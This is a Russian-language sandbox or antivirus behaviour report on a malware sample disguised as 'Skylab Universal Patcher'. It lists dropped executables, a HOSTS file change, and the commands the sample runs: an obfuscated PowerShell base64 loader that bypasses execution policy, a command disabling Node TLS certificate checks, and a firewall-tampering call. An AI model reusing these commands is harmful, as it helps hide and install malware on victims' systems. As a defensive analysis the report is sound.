Техническая информация
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\skylab.exe
- %TEMP%\exps.exe
- <Текущая директория>\qxustlfgpj.bat
- nul
Изменяет файл HOSTS.
Другое
Создает и запускает на исполнение
- '%TEMP%\skylab.exe'
- '%TEMP%\exps.exe'
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c ""qxUStLFgpJ.bat""
- '<SYSTEM32>\cmd.exe' /c "title Skylab Universal Patcher"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noprofile -executionpolicy bypass -command $wrLqc = 'gnirtS46esaBmorF'.ToCharArray();[array]::Reverse($wrLqc);$gfXCn = [String]::new($wrLqc);$tJGBy = [System.IO.File]::ReadAllText('<Текущая ди...
- '<SYSTEM32>\cmd.exe' /c "setx NODE_TLS_REJECT_UNAUTHORIZED 0"
- '<SYSTEM32>\setx.exe' NODE_TLS_REJECT_UNAUTHORIZED 0
- '<SYSTEM32>\rundll32.exe' <SYSTEM32>\FirewallControlPanel.dll,ShowNotificationDialog /configure /ETOnly 0 /OnProfiles 6 /OtherAllowed 0 /OtherBlocked 0 /OtherEdgeAllowed 0 /NewBlocked 4 "%TEMP%\skylab.exe"
